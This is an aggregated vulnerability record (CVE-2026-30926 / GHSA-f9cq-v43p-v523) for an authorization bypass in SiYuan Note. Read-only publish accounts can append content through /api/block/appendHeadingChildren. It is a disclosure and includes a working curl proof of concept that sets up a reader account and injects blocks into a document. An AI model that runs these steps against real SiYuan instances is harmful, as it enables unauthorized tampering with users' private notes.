{"id":"CVE-2026-30926","aliases":["CVE-2026-30926","GHSA-f9cq-v43p-v523","GO-2026-4658"],"related":[],"kind":"vulnerability","state":"published","title":"SiYuan Note publish service authorization bypass allows low-privilege users to modify notebook content","summary":"SiYuan is a personal knowledge management system. Prior to 3.5.10, a privilege escalation vulnerability exists in the publish service of SiYuan Note that allows low-privilege publish accounts (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint. The endpoint requires only the model.CheckAuth role, which accepts RoleReader sessions, but it does not enforce stricter checks, such as CheckAdminRole or CheckReadonly. This allows remote authenticated publish users with read-only privileges to append new blocks to existing documents, compromising the integrity of stored notes.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SiYuan is a personal knowledge management system. Prior to 3.5.10, a privilege escalation vulnerability exists in the publish service of SiYuan Note that allows low-privilege publish accounts (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint. The endpoint requires only the model.CheckAuth role, which accepts RoleReader sessions, but it does not enforce stricter checks, such as CheckAdminRole or CheckReadonly. This allows remote authenticated publish users with read-only privileges to append new blocks to existing documents, compromising the integrity of stored notes.","source":"cvelist"},{"lang":"en","text":"### Summary\nA privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint.\n\nThe endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents.\n\nThis allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.\n\n### Details\n\nFile: router.go, block.go, block.go, session.go\nLines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209\nVulnerable Code:\n```\n- router.go: ginServer.Handle(\"POST\", \"/api/block/appendHeadingChildren\", model.CheckAuth, appendHeadingChildren)\n- api/block.go: model.AppendHeadingChildren(id, childrenDOM)\n- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)\n- session.go: CheckAuth accepts RoleReader as authenticated\n```\nWhy Vulnerable:\nA low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.\n\n\n\n### PoC\n\n1. Enable publish service and create low-privilege account\n```\ncurl -u workspace:<ACCESS_AUTH_CODE> \\\n-H \"Content-Type: application/json\" \\\n-d '{\n  \"enable\": true,\n  \"port\": 6808,\n  \"auth\": {\n    \"enable\": true,\n    \"accounts\": [\n      {\n        \"username\": \"viewer\",\n        \"password\": \"viewerpass\"\n      }\n    ]\n  }\n}' \\\nhttp://127.0.0.1:6806/api/setting/setPublish\n```\n2. Create a test notebook and document (admin)\n```\ncurl -u workspace:<ACCESS_AUTH_CODE> \\\n-H \"Content-Type: application/json\" \\\n-d '{\"name\":\"AuditPOC\"}' \\\nhttp://127.0.0.1:6806/api/notebook/createNotebook\n```\nCreate a document containing a heading:\n```\ncurl -u workspace:<ACCESS_AUTH_CODE> \\\n-H \"Content-Type: application/json\" \\\n-d '{\n  \"notebook\":\"<NOTEBOOK_ID>\",\n  \"path\":\"/Victim\",\n  \"markdown\":\"# VictimHeading\\n\\nOriginal paragraph\"\n}' \\\nhttp://127.0.0.1:6806/api/filetree/createDocWithMd\n```\n3. Retrieve heading block ID (low-priv publish account)\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\"stmt\":\"SELECT id,root_id FROM blocks WHERE content='\\''VictimHeading'\\'' LIMIT 1\"}' \\\nhttp://127.0.0.1:6808/api/query/sql\n```\nExample response:\n```\n{\n \"id\":\"20260307093334-05sj7bz\",\n \"root_id\":\"20260307093334-vsa6ft0\"\n}\n```\n4. Generate block DOM\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\"dom\":\"<p>InjectedByReader</p>\"}' \\\nhttp://127.0.0.1:6808/api/lute/html2BlockDOM\n```\n\n5. Append block using the vulnerable endpoint\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\n\"id\":\"20260307093334-05sj7bz\",\n\"childrenDOM\":\"<div ...>InjectedByReader</div>\"\n}' \\\nhttp://127.0.0.1:6808/api/block/appendHeadingChildren\n```\nServer response:\n```\n{\"code\":0}\n```\n\n6. Verify unauthorized modification\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\"stmt\":\"SELECT content FROM blocks WHERE root_id='\\''20260307093334-vsa6ft0'\\'' ORDER BY sort\"}' \\\nhttp://127.0.0.1:6808/api/query/sql\n```\nResult includes attacker-controlled content:\n```\nInjectedByReader\n```\nThis confirms that the low-privilege publish user successfully modified the document.\n\n### Impact\nThis vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.\n\nPotential impacts include:\n\n• Unauthorized modification of private notes\n• Content tampering in published notebooks\n• Loss of data integrity\n• Possible chaining with other API endpoints to escalate further privileges\n\nThe issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.","format":"markdown","source":"ghsa"},{"lang":"en","text":"SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren in github.com/siyuan-note/siyuan/kernel","format":"markdown","source":"go"},{"lang":"es","text":"SiYuan es un sistema de gestión de conocimiento personal. Anteriormente a la 3.5.10, existe una vulnerabilidad de escalada de privilegios en el servicio de publicación de SiYuan Note que permite a las cuentas de publicación de bajo privilegio (RoleReader) modificar el contenido del cuaderno a través del endpoint de la API /api/block/appendHeadingChildren. El endpoint requiere solo el rol model.CheckAuth, que acepta sesiones de RoleReader, pero no aplica comprobaciones más estrictas, como CheckAdminRole o CheckReadonly. Esto permite a los usuarios de publicación remotos autenticados con privilegios de solo lectura añadir nuevos bloques a documentos existentes, comprometiendo la integridad de las notas almacenadas.","source":"nvd"}],"published":"2026-03-09T18:18:39.000Z","modified":"2026-06-17T10:33:09.790Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":7.1,"rating":"HIGH"}],"cwes":["CWE-284","CWE-862"],"affected":[{"ranges":[{"version":"< 3.5.10","status":"affected"}],"vendor":"siyuan-note","product":"siyuan","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"0.0.0-20260304035530-d03ebdec8279"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"go"},{"ranges":[{"status":"affected","fixed":"3.5.10"}],"vendor":"b3log","product":"siyuan","cpe":"cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-f9cq-v43p-v523","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30926","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-10T14:58:48.132Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-30926","url":"https://www.cve.org/CVERecord?id=CVE-2026-30926","licence":"CVE Terms of Use","modified":"2026-03-10T14:58:53.053Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f9cq-v43p-v523","url":"https://github.com/advisories/GHSA-f9cq-v43p-v523","licence":"CC-BY-4.0","modified":"2026-03-23T04:56:00.822Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4658","url":"https://pkg.go.dev/vuln/GO-2026-4658","licence":"CC-BY-4.0","modified":"2026-03-23T04:52:50.925Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-30926","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30926","licence":"Public domain","modified":"2026-06-17T10:33:09.790Z"}],"updatedAt":"2026-11-25T22:59:15.551Z","epss":{"score":0.00343,"percentile":0.29848,"date":"2026-12-01T12:00:22.000Z"}}